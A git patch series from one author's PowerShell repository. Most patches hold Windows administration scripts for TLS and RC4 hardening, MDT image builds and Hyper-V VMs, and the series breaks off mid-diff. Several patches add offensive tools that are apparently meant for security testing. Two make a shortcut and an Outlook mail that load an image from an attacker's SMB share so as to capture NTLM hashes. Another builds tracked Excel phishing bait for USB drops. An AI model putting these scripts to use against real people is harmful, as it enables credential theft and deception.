From 4bae7e4b5e157c67cca6328d6e7963dd679f325d Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Sun, 3 Apr 2016 14:27:33 +0200 Subject: [PATCH 01/11] Added new security script for disabling Legacy SSL/TLS protocols and RC4 Cipers --- ...sable-Legacy-Protocols-and-Ciphers.1.0.ps1 | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 Security/Disable-Legacy-Protocols-and-Ciphers.1.0.ps1 diff --git a/Security/Disable-Legacy-Protocols-and-Ciphers.1.0.ps1 b/Security/Disable-Legacy-Protocols-and-Ciphers.1.0.ps1 new file mode 100644 index 0000000..b669035 --- /dev/null +++ b/Security/Disable-Legacy-Protocols-and-Ciphers.1.0.ps1 @@ -0,0 +1,74 @@ +<# + Author: Oddvar Moe [MVP] + Webpage: http://msitpros.com + + Disables RC4 Windows servers + Requires Hotfix on olders server os (pre 2012R2) + https://support.microsoft.com/en-us/kb/2868725 + + Disables SSL3.0, SSL2.0 and TLS1.0 + Both Client and Server side +#> + +#Check if you are running elevated +If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(` + [Security.Principal.WindowsBuiltInRole] "Administrator")) +{ + Write-Warning "You need to run this script from an elevated PowerShell prompt!`nPlease start the Script as an Administrator" + Break +} + +#### Disable RC4 #### +Write-host "Disabling RC4 Ciphers" +$RC4CipherRootKey = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\" +# $([char]0x2215) in order to have / in name +$Keyname1 = "RC4 56$([char]0x2215)128" +$Keyname2 = "RC4 40$([char]0x2215)128" +$Keyname3 = "RC4 128$([char]0x2215)128" + +New-Item $RC4CipherRootKey$Keyname1 -Force +New-Item $RC4CipherRootKey$Keyname2 -Force +New-Item $RC4CipherRootKey$Keyname3 -Force + + +Set-ItemProperty $RC4CipherRootKey$Keyname1 -Name Enabled -Value 0 -Type Dword +Set-ItemProperty $RC4CipherRootKey$Keyname2 -Name Enabled -Value 0 -Type Dword +Set-ItemProperty $RC4CipherRootKey$Keyname3 -Name Enabled -Value 0 -Type Dword +#### End Disable RC4 #### + + +#### Disable SSL3.0 #### +write-host "Disabling SSL3.0 protocol" +$SSL3MainKey = "HKLM:\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0" + +New-Item "$SSL3MainKey\Client\" -Force +Set-ItemProperty "$SSL3MainKey\Client\" -Name "DisabledByDefault" -Value 1 -Type Dword + +New-Item "$SSL3MainKey\Server\" -Force +Set-ItemProperty "$SSL3MainKey\Server\" -Name "Enabled" -Value 0 -Type Dword +#### End Disable SSL3.0 #### + + +#### Disable SSL2.0 #### +write-host "Disabling SSL2.0 protocol" +$SSL2MainKey = "HKLM:\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0" + +New-Item "$SSL2MainKey\Client\" -Force +Set-ItemProperty "$SSL2MainKey\Client\" -Name "DisabledByDefault" -Value 1 -Type Dword + +New-Item "$SSL2MainKey\Server\" -Force +Set-ItemProperty "$SSL2MainKey\Server\" -Name "Enabled" -Value 0 -Type Dword +#### End Disable SSL2.0 #### + + +#### Disable TLS1.0 #### +write-host "Disabling TLS1.0 protocol" +$TLS1MainKey = "HKLM:\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0" + +New-Item "$TLS1MainKey\Client\" -Force +Set-ItemProperty "$TLS1MainKey\Client\" -Name "DisabledByDefault" -Value 1 -Type Dword + +New-Item "$TLS1MainKey\Server\" -Force +Set-ItemProperty "$TLS1MainKey\Server\" -Name "Enabled" -Value 0 -Type Dword +#### End Disable TLS1.0 #### +Write-host "Done!" From c625ec2bcc1d6e3951e5952b77d04bf973670cfb Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Wed, 28 Sep 2016 08:27:54 +0200 Subject: [PATCH 02/11] Script to create evil shortcut A script to create a shortcut that loads icon from an attacker machine. Attacker machine needs to run SMB Capture module to get NTLM Hash. --- Security/SMBCapture-ShortcutGenerator.ps1 | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 Security/SMBCapture-ShortcutGenerator.ps1 diff --git a/Security/SMBCapture-ShortcutGenerator.ps1 b/Security/SMBCapture-ShortcutGenerator.ps1 new file mode 100644 index 0000000..a70387f --- /dev/null +++ b/Security/SMBCapture-ShortcutGenerator.ps1 @@ -0,0 +1,9 @@ +# Author: Oddvar Moe +# https://msitpros.com +# Version: 1.0 +$AttackerMachine = "192.168.0.100" +$WshShell = New-Object -comObject WScript.Shell +$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\Regedit.lnk") +$Shortcut.TargetPath = "C:\windows\regedit.exe" +$Shortcut.Iconlocation = "\\$AttackerMachine\icons\icon.png,0" +$Shortcut.Save() \ No newline at end of file From 9e6599216ca201726137f137c0434e457e6216e2 Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Wed, 28 Sep 2016 08:31:47 +0200 Subject: [PATCH 03/11] Script generate evil mail Script will generate a mail message that contains a 1x1 image that points to your attacker machine. If you have a SMB capture running you will get the NTLM hash. --- Security/SMBCapture-Outlook.1.1.ps1 | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 Security/SMBCapture-Outlook.1.1.ps1 diff --git a/Security/SMBCapture-Outlook.1.1.ps1 b/Security/SMBCapture-Outlook.1.1.ps1 new file mode 100644 index 0000000..b3602c5 --- /dev/null +++ b/Security/SMBCapture-Outlook.1.1.ps1 @@ -0,0 +1,28 @@ +# Author: Oddvar Moe +# https://msitpros.com +# version: 1.1 + +# Script uses Outlook so you need to have an active Outlook profile on the machine the script is running on. + +#If multiple recipients use ; as seperator" +$Recipient = "john.doe@contoso.com" +$AttackerIP = "192.168.0.100" + +$file1="\\$AttackerIP\PictureFolder\coolPicture.png" +$Outlook = New-Object -comObject Outlook.Application +$newmail = $Outlook.CreateItem(0) +$newmail.Recipients.Add($Recipient) | Out-Null +$newmail.Subject = "Funny Pictures" +$newmail.HTMLBody = @" + + + + +Hi. Check out this funny picture
+ + + +"@ + +$newmail.Send() +#$Outlook.Quit() \ No newline at end of file From 815c69d98068a31d7dc64ce1bf724aaf83f1bad7 Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Wed, 28 Sep 2016 08:33:11 +0200 Subject: [PATCH 04/11] Rename SMBCapture-ShortcutGenerator.ps1 to SMBCapture-ShortcutGenerator.1.1.ps1 --- ...ortcutGenerator.ps1 => SMBCapture-ShortcutGenerator.1.1.ps1} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename Security/{SMBCapture-ShortcutGenerator.ps1 => SMBCapture-ShortcutGenerator.1.1.ps1} (92%) diff --git a/Security/SMBCapture-ShortcutGenerator.ps1 b/Security/SMBCapture-ShortcutGenerator.1.1.ps1 similarity index 92% rename from Security/SMBCapture-ShortcutGenerator.ps1 rename to Security/SMBCapture-ShortcutGenerator.1.1.ps1 index a70387f..d2be1c4 100644 --- a/Security/SMBCapture-ShortcutGenerator.ps1 +++ b/Security/SMBCapture-ShortcutGenerator.1.1.ps1 @@ -6,4 +6,4 @@ $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("$Home\Desktop\Regedit.lnk") $Shortcut.TargetPath = "C:\windows\regedit.exe" $Shortcut.Iconlocation = "\\$AttackerMachine\icons\icon.png,0" -$Shortcut.Save() \ No newline at end of file +$Shortcut.Save() From 31e6f1d132252347364c574d9dcb3083ca76dc3f Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Mon, 3 Oct 2016 14:57:22 +0200 Subject: [PATCH 05/11] Added UpdateOSImage_1.1.ps1 A script to update OS image with the use of Vmware. --- MDT/UpdateOSImage_1.1.ps1 | 89 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 MDT/UpdateOSImage_1.1.ps1 diff --git a/MDT/UpdateOSImage_1.1.ps1 b/MDT/UpdateOSImage_1.1.ps1 new file mode 100644 index 0000000..32e649a --- /dev/null +++ b/MDT/UpdateOSImage_1.1.ps1 @@ -0,0 +1,89 @@ +# Auto update OS Image +# Author: Oddvar Moe - msitpros.com +# Require: PowerCLI from Vmware +# Require: You need to copy litetouchpe_x86 iso to the correct datastore on vmware +# Require: Change $PSEmailServer and $EmailFrom in Sendmail function + +$Mailto = "your.account@customer.com" + +$isopath = "[VMware_Datastore.0] ISO\LiteTouchPE_x86.iso" +$networkname = "Customer-network" +$resourcepool = "HA Cluster" + +$MDTOSFolder = "E:\Deploymentshare\Operating Systems\Windows 10 X64 Enterprise - Deployment Image" +$MDTBuilOSdFolder = "E:\BuildDeployment\Captures" + + +# Function to ADD PowerCli as module +function Import-PowerCLI { + Add-PSSnapin vmware* + if (Get-Item 'C:\Program Files (x86)' -ErrorAction SilentlyContinue) { + . "C:\Program Files (x86)\VMware\Infrastructure\vSphere PowerCLI\Scripts\Initialize-PowerCLIEnvironment.ps1" + } + else { + . "C:\Program Files\VMware\Infrastructure\vSphere PowerCLI\Scripts\Initialize-PowerCLIEnvironment.ps1" + } +} + +function SendMail{ +param( +[string]$emailto +) + +[string]$PSEmailServer = "Exchange.customer.com" +[string]$EmailFrom = "MDT " + +[string]$emailbody = @" + + + + + +Hi.
+A new image has been created and has been added to the deployment solution. +
+

+Best regards +
+MDT Powershell script + + + + +"@ + +Send-MailMessage -To $emailto -Subject "MDT image was updated" -Body $emailbody -From $EmailFrom -Priority Normal -SmtpServer $PSEmailServer -encoding UTF8 -BodyAsHtml +} + +#### SCRIPT STARTS HERE #### +Import-PowerCLI + +#Remove all WIMs before starting +get-childitem $MDTBuilOSdFolder | remove-item + +# Connect to virtual center and start VM +Connect-VIServer -Server 192.168.100.10 + +new-vm -name "AUTOMDTOSDBUILD" -DiskMB 60000 -MemoryMB 6000 -ResourcePool $resourcepool -Version v8 -numCpu 2 -GuestID "windows8_64Guest" +get-vm -Name "AUTOMDTOSDBUILD" | get-networkadapter | Set-NetworkAdapter -NetworkName $networkname -type "E1000" -Confirm:$false +$cd = New-CDDrive -VM "AUTOMDTOSDBUILD" -ISOPath $isopath +Set-CDDrive -CD $cd -StartConnected $true -Confirm:$false +Start-VM -VM "AUTOMDTOSDBUILD" + +$VM = get-vm -name "AUTOMDTOSDBUILD" + +while ((get-vm -name "AUTOMDTOSDBUILD").PowerState -eq "PoweredOn") +{ + write-host "Still deploying and alive - pausing script for 180 seconds - be patient" -ForegroundColor Green + sleep 180 +} + +#Remove the VM +Remove-VM -VM "AUTOMDTOSDBUILD" -DeletePermanently -Confirm:$false + +#Check for WIM file and replace it +$NewWim = Get-childItem $MDTBuilOSdFolder +if($NewWim){move-item $NewWim.FullName $MDTOSFolder -force} + +#Send mail when done +SendMail -emailto $Mailto From b22134dde5ce7c209d7dab9d5bce9a4d709bfeb9 Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Mon, 24 Oct 2016 21:43:14 +0200 Subject: [PATCH 06/11] Added Generate-Phishingbait script --- Security/Generate-PhishingBait.1.0.ps1 | 112 +++++++++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 Security/Generate-PhishingBait.1.0.ps1 diff --git a/Security/Generate-PhishingBait.1.0.ps1 b/Security/Generate-PhishingBait.1.0.ps1 new file mode 100644 index 0000000..0a63104 --- /dev/null +++ b/Security/Generate-PhishingBait.1.0.ps1 @@ -0,0 +1,112 @@ +#Author: Oddvar Moe - msitpros.com +#USB Stick production SE-test +#Excel needs to be installed on machine running script +#Creates an Excel Cheat with tracking mecanishm +#Example in script uses New Company Organization + +# REMEMBER TO CHANGE $pictureURL and line 81 where to point click url. + +# Place to generate content +$RootFolder = "C:\tempfolder" + +# Number to Generate +$NumberOfMemsticks = 20 + +# Filename to be placed on USB Stick +$filename = "New Organization-Draft_1.0-withComments.xlsx" + +#Path to USB Stick +$USBstickDrive = "E:\" + +# Excel Constants +# MsoTriState +Set-Variable msoFalse 0 -Option Constant -ErrorAction SilentlyContinue +Set-Variable msoTrue 1 -Option Constant -ErrorAction SilentlyContinue + +function Pause +{ + #Used to pause the script to change USB stick between copy job + Read-Host 'Insert next USB stick and then press Enter to continue…' | Out-Null +} + + +#Loop variable +$i = 1 +do +{ + #URL from where you load picture + $pictureURL = "http://msitpros.com/tracker$i.jpg" + + write-host $pictureURL + $subfolder = "$RootFolder\$i" + mkdir $subfolder + cd $subfolder + + #Code borrowed from Scripting Guy - Thanx + # cell width and height in points + Set-Variable cellWidth 10 -Option Constant -ErrorAction SilentlyContinue + Set-Variable cellHeight 10 -Option Constant -ErrorAction SilentlyContinue + + + $xl = New-Object -ComObject Excel.Application -Property @{ + Visible = $true + DisplayAlerts = $false + } + + $wb = $xl.WorkBooks.Add() + $sh = $wb.Sheets.Item(‘Sheet1’) + + # arguments to insert the image through the Shapes.AddPicture Method + $LinkToFile = $msoTrue + $SaveWithDocument = $msoTrue + + # Place picture at Column GS-ish to hide it + $Left = $cellWidth * 10000 + $Top = $cellHeight * 1 + $Width = $cellWidth * 10 + $Height = $cellHeight * 10 + + # add the image to the Sheet + $img = $sh.Shapes.AddPicture($PictureURL, $LinkToFile, $SaveWithDocument, $Left, $Top, $Width, $Height) + + # add trick text + #Number 1 is vertical + #Number 2 is horizontal + $sh.Cells.Item(1,1)="Content moved to Internal Sharepoint site" + $sh.Cells.Item(1,1).font.size = 18 + $sh.Cells.Item(1,1).font.bold = $true + + $range = $xl.Range("A2") + # Fake link to measure if the user clicks + $sh.Hyperlinks.Add($range,"http://8.8.8.8/$i/neworg.xls","","http://sharepoint.msitpros.com/organizationchart","LINK") + $sh.Cells.item(2,1).font.bold = $true + $sh.Cells.item(2,1).font.size = 22 + + #Increase size of document + $range2 = $sh.Range("A3","Z1000") + $range2.Font.Bold = $true + + $file = "$subfolder\$filename" + $xl.ActiveWorkbook.SaveAs($file) + + $wb.Close($false) + $xl.Quit() + + $i++ +} +until ($i -gt $NumberOfMemsticks) + + +# Copy to USB stick and remove temporary file +$ii = 1 +do +{ + $subfolder = "$RootFolder\$ii" + $file = "$subfolder\$filename" + + Copy-Item $file $USBstickDrive + Remove-Item $subfolder -Force -Recurse + pause + $ii++ +} +until ($ii -gt $NumberOfMemsticks) From 52639b53413255ca5125089f5cee17d8f2bf5799 Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Tue, 17 Jan 2017 19:03:24 +0100 Subject: [PATCH 07/11] Added Hyper-v Section --- Hyper-V/New-DifferencingVM.ps1 | 111 ++++++++++++++++++++++++++++++ Hyper-V/Remove-VirtualMachine.ps1 | 83 ++++++++++++++++++++++ 2 files changed, 194 insertions(+) create mode 100644 Hyper-V/New-DifferencingVM.ps1 create mode 100644 Hyper-V/Remove-VirtualMachine.ps1 diff --git a/Hyper-V/New-DifferencingVM.ps1 b/Hyper-V/New-DifferencingVM.ps1 new file mode 100644 index 0000000..22434ed --- /dev/null +++ b/Hyper-V/New-DifferencingVM.ps1 @@ -0,0 +1,111 @@ +function New-DifferencingVM +<# +.Synopsis + Function to create a Virtual machine based on a master vhd - aka differencing disk. + Author: Oddvar Moe + Required Dependencies: Hyper-v module +.DESCRIPTION + Function to create a Virtual machine based on a master vhd - aka differencing disk +.EXAMPLE + New-DifferencingVM -VMName Kundetest1 -VMLocation "D:\VirtualMachines" -VMNetwork EXT-Wireless -VMOS Windows10 -VMMemory 2048MB -VMDiskSize 60GB +#> +{ + [CmdletBinding(DefaultParameterSetName="VMOS")] + [Alias()] + [OutputType([int])] + Param + ( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true)] + $VMName, + + [Parameter(Mandatory=$true,ParameterSetName="VMOS")] + [ValidateSet("Windows10","Server2012R2")] + $VMOS, + + [Parameter(Mandatory=$false)] + $VMLocation="D:\VirtualMachines", + + [Parameter(Mandatory=$false,ParameterSetName="MasterVHDPath")] + $MasterVHD, + + #A valid format is 2048MB, Default is 2048MB + [Parameter(Mandatory=$false)] + $VMMemory=2048MB, + + #A valid format is 60GB + [Parameter(Mandatory=$false)] + $VMDiskSize=60GB + ) + DynamicParam + { + # Sets the dynamic parameters name + $ParameterName = 'VMNetwork' + + # Create a dictionary + $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary + + # Create a collection of attributes + $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] + + # Create and set the parameters' attributes + $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute + $ParameterAttribute.ValueFromPipeline = $true + $ParameterAttribute.ValueFromPipelineByPropertyName = $true + $ParameterAttribute.Mandatory = $true + + # Add the attributes to the attributes collection + $AttributeCollection.Add($ParameterAttribute) + + # Generate and set the ValidateSet + $arrSet = (Get-VMSwitch).Name + $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) + + # Add the ValidateSet to the attributes collection + $AttributeCollection.Add($ValidateSetAttribute) + + # Create and return the dynamic parameter + $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) + $RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) + return $RuntimeParameterDictionary + } + + Begin + { + #To bind the dynamic parameter to a variable + $VMNetwork = $PsBoundParameters[$ParameterName] + } + Process + { + if ($PSCmdlet.ParameterSetName -eq "VMOS") { + if($VMOS -eq "Windows10") + { + #Client + $MasterVHD = "D:\HYPERV-MasterImages\Win10Ent1607x64MasterDisk\Win10Ent1607x64MasterDisk.vhdx" + } + + if($VMOS -eq "Server2012R2") + { + $MasterVHD = "D:\HYPERV-MasterImages\Server2012R2\MDT-MasterServer\Virtual Hard Disks\MDT-MasterServer-Disk1.vhdx" + } + } + + try + { + New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD -Verbose + New-VHD -ParentPath $MasterVHD -Differencing -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -SizeBytes $VMDiskSize -Verbose + Add-VMHardDiskDrive -VMName $VMName -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -Verbose + } + catch + { + Write-Host "Was not able to do my stuff" + Write-Error $_.Exception.Message + } + finally + { + } + } + End + { + } +} diff --git a/Hyper-V/Remove-VirtualMachine.ps1 b/Hyper-V/Remove-VirtualMachine.ps1 new file mode 100644 index 0000000..1d069c5 --- /dev/null +++ b/Hyper-V/Remove-VirtualMachine.ps1 @@ -0,0 +1,83 @@ +Function Remove-VirtualMachine +<# +.Synopsis + Function to remove Virtual machine and files. Gets VM names dynamically. + Author: Oddvar Moe + Required Dependencies: Hyper-v module +.DESCRIPTION + Function to remove Virtual machine and files. Gets VM names dynamically. +.EXAMPLE + PS C:\> Remove-VirtualMachine -VMName AAA -Verbose + + Removes the virtual machine named AAA +#> +{ + [CmdletBinding()] + Param() + DynamicParam + { + # Sets the dynamic parameters name + $ParameterName = 'VMName' + + # Create a dictionary + $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary + + # Create a collection of attributes + $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] + + # Create and set the parameters' attributes + $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute + $ParameterAttribute.ValueFromPipeline = $true + $ParameterAttribute.ValueFromPipelineByPropertyName = $true + $ParameterAttribute.Mandatory = $true + + # Add the attributes to the attributes collection + $AttributeCollection.Add($ParameterAttribute) + + # Generate and set the ValidateSet + $arrSet = (Get-Vm).Name + $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) + + # Add the ValidateSet to the attributes collection + $AttributeCollection.Add($ValidateSetAttribute) + + # Create and return the dynamic parameter + $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) + $RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) + return $RuntimeParameterDictionary + } + + Begin + { + #To bind the dynamic parameter to a variable + $VMName = $PsBoundParameters[$ParameterName] + } + Process + { + try + { + $VM = Get-VM -Name $VMName + $disks = Get-VHD -VMId $vm.Id + + Write-Verbose "Removing snapshots if any" + Remove-VMSnapshot -VMName $VMName –IncludeAllChildSnapshots + Write-Verbose "Removing virtual harddrive" + Remove-Item $disks.path -Force + Write-Verbose "Removing VM" + Remove-vm -Name $VMName -Force + Write-Verbose "Removing VM files and folders" + Remove-item -path $VM.path -Recurse -force + } + catch + { + Write-Host "Was not able to do my stuff" + Write-Error $_.Exception.Message + } + finally + { + } + } + End + { + } +} \ No newline at end of file From d1fd04b45c0dfbba38958f7a9dff4f3001bce741 Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Tue, 17 Jan 2017 19:05:20 +0100 Subject: [PATCH 08/11] removed --- Hyper-V/New-DifferencingVM.ps1 | 111 --------------------------------- 1 file changed, 111 deletions(-) delete mode 100644 Hyper-V/New-DifferencingVM.ps1 diff --git a/Hyper-V/New-DifferencingVM.ps1 b/Hyper-V/New-DifferencingVM.ps1 deleted file mode 100644 index 22434ed..0000000 --- a/Hyper-V/New-DifferencingVM.ps1 +++ /dev/null @@ -1,111 +0,0 @@ -function New-DifferencingVM -<# -.Synopsis - Function to create a Virtual machine based on a master vhd - aka differencing disk. - Author: Oddvar Moe - Required Dependencies: Hyper-v module -.DESCRIPTION - Function to create a Virtual machine based on a master vhd - aka differencing disk -.EXAMPLE - New-DifferencingVM -VMName Kundetest1 -VMLocation "D:\VirtualMachines" -VMNetwork EXT-Wireless -VMOS Windows10 -VMMemory 2048MB -VMDiskSize 60GB -#> -{ - [CmdletBinding(DefaultParameterSetName="VMOS")] - [Alias()] - [OutputType([int])] - Param - ( - [Parameter(Mandatory=$true, - ValueFromPipelineByPropertyName=$true)] - $VMName, - - [Parameter(Mandatory=$true,ParameterSetName="VMOS")] - [ValidateSet("Windows10","Server2012R2")] - $VMOS, - - [Parameter(Mandatory=$false)] - $VMLocation="D:\VirtualMachines", - - [Parameter(Mandatory=$false,ParameterSetName="MasterVHDPath")] - $MasterVHD, - - #A valid format is 2048MB, Default is 2048MB - [Parameter(Mandatory=$false)] - $VMMemory=2048MB, - - #A valid format is 60GB - [Parameter(Mandatory=$false)] - $VMDiskSize=60GB - ) - DynamicParam - { - # Sets the dynamic parameters name - $ParameterName = 'VMNetwork' - - # Create a dictionary - $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary - - # Create a collection of attributes - $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] - - # Create and set the parameters' attributes - $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute - $ParameterAttribute.ValueFromPipeline = $true - $ParameterAttribute.ValueFromPipelineByPropertyName = $true - $ParameterAttribute.Mandatory = $true - - # Add the attributes to the attributes collection - $AttributeCollection.Add($ParameterAttribute) - - # Generate and set the ValidateSet - $arrSet = (Get-VMSwitch).Name - $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) - - # Add the ValidateSet to the attributes collection - $AttributeCollection.Add($ValidateSetAttribute) - - # Create and return the dynamic parameter - $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) - $RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) - return $RuntimeParameterDictionary - } - - Begin - { - #To bind the dynamic parameter to a variable - $VMNetwork = $PsBoundParameters[$ParameterName] - } - Process - { - if ($PSCmdlet.ParameterSetName -eq "VMOS") { - if($VMOS -eq "Windows10") - { - #Client - $MasterVHD = "D:\HYPERV-MasterImages\Win10Ent1607x64MasterDisk\Win10Ent1607x64MasterDisk.vhdx" - } - - if($VMOS -eq "Server2012R2") - { - $MasterVHD = "D:\HYPERV-MasterImages\Server2012R2\MDT-MasterServer\Virtual Hard Disks\MDT-MasterServer-Disk1.vhdx" - } - } - - try - { - New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD -Verbose - New-VHD -ParentPath $MasterVHD -Differencing -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -SizeBytes $VMDiskSize -Verbose - Add-VMHardDiskDrive -VMName $VMName -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -Verbose - } - catch - { - Write-Host "Was not able to do my stuff" - Write-Error $_.Exception.Message - } - finally - { - } - } - End - { - } -} From c0e1a97a629130060ae7bb355d70cbc190bce679 Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Tue, 17 Jan 2017 23:25:53 +0100 Subject: [PATCH 09/11] Added script New-DifferencingVM.ps --- Hyper-V/New-DifferencingVM.ps1 | 117 +++++++++++++++++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 Hyper-V/New-DifferencingVM.ps1 diff --git a/Hyper-V/New-DifferencingVM.ps1 b/Hyper-V/New-DifferencingVM.ps1 new file mode 100644 index 0000000..4ea39e1 --- /dev/null +++ b/Hyper-V/New-DifferencingVM.ps1 @@ -0,0 +1,117 @@ +function New-DifferencingVM +<# +.SYNOPSIS + + Function to create a Virtual machine based on a parent vhd - aka differencing disk. + NOTE - Default ParentVHD paths are hard-coded. These must be either changed manually or you need to specify -parentvhd + + Author: Oddvar Moe + Required Dependencies: Hyper-v module + +.DESCRIPTION + + Function to create a Virtual machine based on a parent vhd - aka differencing disk + NOTE - Default ParentVHD paths are hard-coded. These must be either changed manually or you need to specify -parentvhd + +.EXAMPLE + New-DifferencingVM -VMName Customer1 -VMLocation "D:\VirtualMachines" -VMNetwork EXT-Wireless -VMOS Windows10 -VMMemory 2048MB -VMDiskSize 60GB +#> +{ + [CmdletBinding(DefaultParameterSetName="VMOS")] + [Alias()] + [OutputType([int])] + Param + ( + [Parameter(Mandatory=$true, + ValueFromPipelineByPropertyName=$true)] + $VMName, + + [Parameter(Mandatory=$true,ParameterSetName="VMOS")] + [ValidateSet("Windows10","Server2012R2")] + $VMOS, + + [Parameter(Mandatory=$false)] + $VMLocation="D:\VirtualMachines", + + [Parameter(Mandatory=$false,ParameterSetName="ParentVHDPath")] + $ParentVHD, + + #A valid format is 2048MB, Default is 2048MB + [Parameter(Mandatory=$false)] + $VMMemory=2048MB, + + #A valid format is 60GB + [Parameter(Mandatory=$false)] + $VMDiskSize=60GB + ) + DynamicParam + { + # Sets the dynamic parameters name + $ParameterName = 'VMNetwork' + + # Create a dictionary + $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary + + # Create a collection of attributes + $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] + + # Create and set the parameters' attributes + $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute + $ParameterAttribute.ValueFromPipeline = $true + $ParameterAttribute.ValueFromPipelineByPropertyName = $true + $ParameterAttribute.Mandatory = $true + + # Add the attributes to the attributes collection + $AttributeCollection.Add($ParameterAttribute) + + # Generate and set the ValidateSet + $arrSet = (Get-VMSwitch).Name + $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) + + # Add the ValidateSet to the attributes collection + $AttributeCollection.Add($ValidateSetAttribute) + + # Create and return the dynamic parameter + $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) + $RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) + return $RuntimeParameterDictionary + } + + Begin + { + #To bind the dynamic parameter to a variable + $VMNetwork = $PsBoundParameters[$ParameterName] + } + Process + { + if ($PSCmdlet.ParameterSetName -eq "VMOS") { + if($VMOS -eq "Windows10") + { + $ParentVHD = "D:\HYPERV-MasterImages\Win10Ent1607x64MasterDisk\Win10Ent1607x64MasterDisk.vhdx" + } + + if($VMOS -eq "Server2012R2") + { + $ParentVHD = "D:\HYPERV-MasterImages\Server2012R2\Server2012R2.vhdx" + } + } + + try + { + New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD -Verbose + New-VHD -ParentPath $ParentVHD -Differencing -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -SizeBytes $VMDiskSize -Verbose + Add-VMHardDiskDrive -VMName $VMName -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -Verbose + } + catch + { + Write-Host "Was not able to do my stuff" + Write-Error $_.Exception.Message + } + finally + { + } + } + End + { + } +} From 640cdb9f323633cbe9598180d59b8f32ce788fcf Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Wed, 18 Jan 2017 22:08:13 +0100 Subject: [PATCH 10/11] Corrected verbose and error handling a bit - still needs more work --- Hyper-V/New-DifferencingVM.ps1 | 9 ++++----- Hyper-V/Remove-VirtualMachine.ps1 | 3 +-- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/Hyper-V/New-DifferencingVM.ps1 b/Hyper-V/New-DifferencingVM.ps1 index 4ea39e1..d2855ce 100644 --- a/Hyper-V/New-DifferencingVM.ps1 +++ b/Hyper-V/New-DifferencingVM.ps1 @@ -98,14 +98,13 @@ try { - New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD -Verbose - New-VHD -ParentPath $ParentVHD -Differencing -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -SizeBytes $VMDiskSize -Verbose - Add-VMHardDiskDrive -VMName $VMName -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -Verbose + New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD + New-VHD -ParentPath $ParentVHD -Differencing -Path 